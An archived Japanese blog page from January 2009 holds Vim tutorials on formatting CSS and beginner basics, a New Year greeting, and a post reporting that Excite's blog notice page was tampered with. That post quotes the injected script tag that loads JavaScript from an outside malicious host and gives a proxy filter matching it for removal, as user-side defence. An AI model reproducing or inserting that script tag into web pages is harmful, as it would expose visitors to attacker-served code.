<   2009年 01月 ( 4 )   > この月の画像一覧

記事の下の方に広告が表示される場合があります。この広告はエキサイトの広告枠です。
 

VimでCSS を整形する手順(2009-01-24 修正)

はじめに

 VimでCSSを整形する場合は VISUALモードで = で整形すればよい。ただそれだけなので,記事にもならないけど,今回は改行も入っていないCSSを整形する手順を示し,CSSの整形の操作方法について慣れてもらうのが目的です。まだ便利な方法があると思いますが,達人技や奥義をお持ちの方は惜しまずに教えて下さいね。

手順概略


 図を見ていただくと分かりやすいかもしれませんが,3段階の処理を行っています。左にコマンド,右になにをしているのかを示しています。概略はファイルタイプをCSSに変更した後,適当に改行を入れて見やすくし,整形を行ってインデントを自動で入れています。

1. ファイルのタイプをCSSに変更する。拡張子がCSSならばそのままでOK
2. 適当に改行を入れる。
 今回のケースでは{};の部分に改行を入れています。
※ ^Mは Ctrl+Vを押した後にEnterキーを押します

3. 整形処理を行う。 

a0031863_10433566.jpg


修正:ggVG=に修正しました。vを大文字のVにしてバーチャルラインで行選択にした方が全てを選択できるからこちらに変更します。今回のケースの場合は改行が入っているので、全て選択できましたが、他のケースの場合を考慮した場合にこちらの方が良いと判断しました。



手順詳細

CSSで改行が入っていないものを対象に説明します。なお、改行が入っている場合は = で整形すれば自動でインデントできます。

1. CSSに改行が入っていない状態です。
a0031863_21102024.gif


2.ファイルタイプをCSSに変更し、改行を入れていきます。

ファイルタイプをCSSに変更


:set ft=css



改行を入れていきます。


:%s/{/ {^M/g
:%s/}/^M}^M/g
:%s/;/;^M/g


※ ^Mは Ctrl+Vを押した後にEnterキーを押します


a0031863_2110775.gif


a0031863_21104079.gif


a0031863_21104928.gif


3. ビジュアルで選択し、 =で整形を行います。
整形


ggVG=


a0031863_21103466.gif


4. 整形完了です。
a0031863_2111717.gif



簡単なコマンドの説明


 :set ft=css はファイルタイプの変更です。ft はfiletypeの省略です。このオプションの値にマッチする全ての autocommand が実行されます。 簡単に言うと現在開いているファイルをCSSと認識させています。ファイルの拡張子がCSSの場合はこの処理は不要です。なおファイルタイプがCSSと認識していない場合は,うまく整形できないのでご注意下さい。


:s が置換コマンドです。sの前に置換する範囲を,sの後に置換前の文字列と置換文字列を/で区切って入力します。そして最後のgを付けることで全ての箇所を置換します。

今回のケースでは置換範囲に%を用いることで現在編集中のファイル全体を指定しています。なお,VISUALモードで範囲を指定してから:sと入力すると選択した範囲のみを指定することが可能です。

ggVG=についてですが,ggでファイルの先頭に移動し,VでVISUAL LINEモード切り替えてGで最後の行まで移動します。Gで全て選択できない場合は$を入れて選択して下さい。
そして=で整形を行います。

応用


 今回はCSSの整形ですが,HTMLやCでも同様です。予め適する所に改行などを入れてから=で整形することで他のファイルタイプでも整形が可能です。


最後に

Vimで整形はいろいろな方法があり、ひとつではありません。最短の方法もあり、どうやれば最短になるのか極めている方もいらっしゃいます。私の場合は、最短ではなくとりあえずできる方法なので、もっと良い方法があると思います。良い方法を見つけた方は、教えて下さいね。

[PR]
記事の下の方に広告が表示される場合があります。この広告はエキサイトの広告枠です。
by potto37 | 2009-01-18 21:09
 

Vim 超初心のための最低限の知識

はじめに

Vimのこれだけあれば編集できる最低限のコマンドってなんでしょうか。とりあえず、Vimをはじめるときに覚えておくと良いことを考えてみたいと思います。

ダウンロード

WindowsのVimを導入するのならば、香り屋さんのビルドが良いと思います。私も自分でビルドしていますが、香り屋さんの設定を利用させて頂いています。以下のリンクからVimをダウンロードして下さい。

KaoriYa.net


gvimを使おう

Vimはgvimとvimの二つがあります。このうちのgvimがメニューがあり、はじめのころは使いやすいです。慣れるとメニューが要らなくなって、消しちゃっている方もいます。vimは処理が速いので私も時々使いますが、日本語変換をしたいときにはAlt+半角(Winodwsの場合)を押さなければならないので、半角だけ押せばよい、gvimを記事を書くときには使います。


モードについて

Vimをはじめたときにまず、わかりづらいのがモードです。通常のテキストエディタにはモードの概念がありません。emacsのモードとも意味合いが違います。
 図1に示すようにVimには3つのモードがあります。Vimを起動したばかりのときのノーマルモード。編集するための挿入モード。範囲選択などのビジュアルモードです。この3つのモードがあることを頭の隅にとどめておくと良いかもしれません。

 ノーマルモードはカーソルの移動などビュアー的なことができたり、テキストの整形など便利なコマンドを使えたりします。次に挿入モードが編集をするモードです。この図ではaキーのみを記述してありますが、他にも便利な挿入モードへの移行方法があります。そしてビジュアルモードでは範囲を選択した状態でコマンドを実行したりすることができます。

各モードを抜けてノーマルモードに移行するためのキーがEscです。

a0031863_13392920.jpg

図1 モード


これだけは覚えておきたいキー

メニューでできることは覚えないで最低限覚えれば良いキーはなんでしょうか。まずはなれるために以下の3つのキーを覚えてはいかがでしょうか。少なすぎますか。少なすぎますよね。でも、この3つのキーとメニューと矢印キーなどを使えばなんとか編集まではできちゃいます。

  a       カーソル位置の後ろに挿入。
  v       ビジュアルモードに移行する。
  Esc    各モードからノーマルモードに戻る。

ちょっと背伸びして

ノーマルモードでカーソル移動の時に数字を入力してから矢印キーを押して見て下さい。たとえば、10と入力してから下矢印キーを押すと10行下に移動します。他にも、単語単位の移動や文末までなどいろいろな移動ができます。また、10ddで10行削除などできます。この箇所を知りたい場合はVimのチュートリアルをゆっくり試すと良いと思います。

最後に

こんな記事を書いちゃったけど、最低限すぎてつかえないよね。ネタ記事のような気がしてきました。Vimを使える方は、すごい方ばかりだし、素人が手を出すこともないよね。この記事ではVimの楽しさが伝わらないので、なんだかちょっとへこみそうです。
今度はまともな記事をかけるように頑張りたいです。

[PR]
記事の下の方に広告が表示される場合があります。この広告はエキサイトの広告枠です。
by potto37 | 2009-01-10 11:41
 

エキサイトになにかあったの?(改竄は復旧しました)

現状

 エキサイトからのご報告がありました。現在復旧しているそうです。詳細は以下のリンクをご覧下さい。

エキサイトブログ「お知らせ」改ざん問題についてのご報告

追記:2009-01-05

現在、エキサイト側でコードを削除し始めているようです。このスクリプトが確認できなくなっています。(私だけそうみえるのかなぁ)
公式のアナウンスがあればいいのですが、無かったことにされたらどうしよう・・・

追記:2009-01-04 22:19


あ、

Google Chromeでエキサイト(http://www.exblog.jp/)を見たら、以下のメッセージが表示されました。しばらくはアクセスしないようにした方がよさそうですね。私はプロキシを通して、タグをとりのぞいて記事を書いています。

警告: このサイトにアクセスするとコンピュータに損害を与える可能性があります。


a0031863_13454313.gif



 調べたら"エキサイトのブログパーツ機能を追加しました"の部分にJavaScriptのコードが埋め込まれています。これは何でしょうか。注意した方がよさそうです。(エキサイトのお知らせの部分に数箇所入っています。)

記事の投稿時の画面にもこのコードが埋め込まれているので、気になっています。いつからなのでしょうか。


 <font color="red"><strong>ブログパーツ機能を追加しました<script src=http://s1.cawjb.com/jp.js></script></strong></font>




このコードを取り除くフィルタ(これ使わないで、アクセスするのをやめた方が無難かも)

保障はできないですが、ローカルプロキシのProxomitronで取り除くフィルタです。(とりあえず作ったので・・・)もう少し汎用性のあるものを書いた方が良いので、参考までに。

※Windows用のローカルプロキシです。Webサーバのコードを取り除くことはユーザはできないので、ブラウザで読み込む前に取除きます。なお、ブラウザのプロキシの設定をlocalhost:8080などにしなければなりません。保障ができません。他のコードを新たに埋め込まれる可能性もありますので。

Proxomitron-J
フィルタマージの手順

Proxomitronフィルタ


[Patterns]
Name = "kill s1.cawjb.com"
Active = TRUE
Limit = 256
Match = "<SCRIPT src=http://s1.cawjb.com/jp.js></SCRIPT>"
Replace = ""





情報

ネットを巡回して情報を集めています。気になった情報を以下に示します。


緊急:エキサイトブログのトップページが改ざんされている模様
hostsファイルを利用したブロック方法等がの記事のリンクがあります。
エキサイトブログのトップページが改ざんされ、悪意のあるスクリプトが埋め込まれる

最後に

ウイルス対策やファイヤーウォアールなどの対策をしてもなにがあるか分からないので、アクセスは控え方が良さそうです。

[PR]
記事の下の方に広告が表示される場合があります。この広告はエキサイトの広告枠です。
by potto37 | 2009-01-04 13:45
 

明けまして、おめでとうございます

a0031863_10232047.gif明けまして、おめでとうございます。いつも遊びに来ていただいてありがとうございます。今年もよろしくお願い致します。
いつも、皆さんのサイトに遊びに行って、元気を貰ったり楽しませて頂いています。
今年ものんびりと記事を書いてみたいと思っていますので、よろしかったら遊びに来て下さいね。
今年も皆さんにとって良い一年でありますように。a0031863_1103668.gif



※素材は、ペンギンのフリーWeb素材サイトで有名な
Emperor Penguin Empire
さんのサイトからお借りしています。
[PR]
記事の下の方に広告が表示される場合があります。この広告はエキサイトの広告枠です。
by potto37 | 2009-01-02 10:21
掲載の記事や画像などすべての複写・転載・公衆送信等はご遠慮ください。